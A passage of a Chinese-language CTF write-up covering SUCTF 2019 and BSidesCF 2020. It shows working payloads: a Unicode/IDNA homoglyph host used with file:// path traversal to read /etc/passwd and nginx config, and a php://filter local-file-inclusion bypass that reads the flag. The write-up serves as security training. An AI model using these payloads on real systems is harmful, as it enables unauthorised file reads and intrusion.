    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

三个if都是判断host == 'suctf.cc',但是需要最后一个host判断成功才可以读取文件,读取文件应该使用的是php伪协议,但是前面的不会了,去看wp。大概看的意思还是用unicode欺骗,相关题目[[ASIS 2019]Unicorn shop](#[ASIS 2019]Unicorn shop),使用unicode经过解析以后还是原来的字符,但是可以绕过判断==,回过头来注意到了第二个if中有newhost.append(h.encode('idna').decode('utf-8'))进行了一波编码,那么问题就出在了这里。

所以我们只需要找出随便一个host里字符的其他unicode值,这个值在经过编码以后还可以变成原来的字母。其他wp都找的是最后的字母c,那么我就找第一个字母s验证一下,贴一个unicode的网站:https://www.compart.com/en/unicode/U+0073,进入网站以后可以搜索,然后下面有相关的字符,需要多试几个

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310102326.png

我选出的是这个字符𝐬,我们先使用url编码一下防止参数出现错误,尝试读一下passwd:

1
/getUrl?url=file://%F0%9D%90%ACuctf.cc/../../../../../etc/passwd

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310102513.png

flag并不在其中,并且也不再根目录下,根据题目中有nginx应该是一个指路的,去读一读nginx的配置文件。从师傅那学到的nginx配置文件所在位置,以后说不定自己也用得到:

配置文件存放目录:/etc/nginx、/usr/local/nginx/conf/nginx.conf

主配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

读配置文件

1
/getUrl?url=file://%F0%9D%90%ACuctf.cc/../../../../../usr/local/nginx/conf/nginx.conf

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310103257.png

读flag

1
/getUrl?url=file://%F0%9D%90%ACuctf.cc/../../../../../usr/fffffflag

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310103323.png

参考的博客链接:

https://www.xmsec.cc/suctf19-wp/

https://xz.aliyun.com/t/6042#toc-24

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf


[BSidesCF 2020]Had a bad day

看这个标题我推一下OWRLD ORDER的Have a nice day

页面两个按钮,一个康狗狗照片,一个康猫猫照片,点按钮以后url就会改变为

1
/index.php?category=woofers

尝试输入flag会显示

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310175019.png

只能有woofersmeowers可以通过,尝试了下php的filter伪协议读文件

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310175611.png

读出来了,但是解密以后狗狗和猫猫这两个网页没啥作用:

1
2
3
4
<center>
	<h4> Woof! Woof! </h4>
</center>
<img style="width:100%" src="img/dog/<?php echo rand(1,10)?>.jpg">

多尝试以后发现可以读index,下面是主要的源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

可以看到if判断中需要字符串包含woofersmeowersindex,那么我们只需要在filter伪协议中插入字符串绕过判断即可。

需要知道的:filter可以设定一个或多个过滤器名称,以管道符\分隔,所以构造payload:

1
/index.php?category=php://filter/meowers/convert.base64-encode/resource=flag

读出来以后解密即可获得flag

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310181106.png

搜索的时候学到了一个其他的截断

1
zip://test.zip#hello.html.php

代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。

相关内容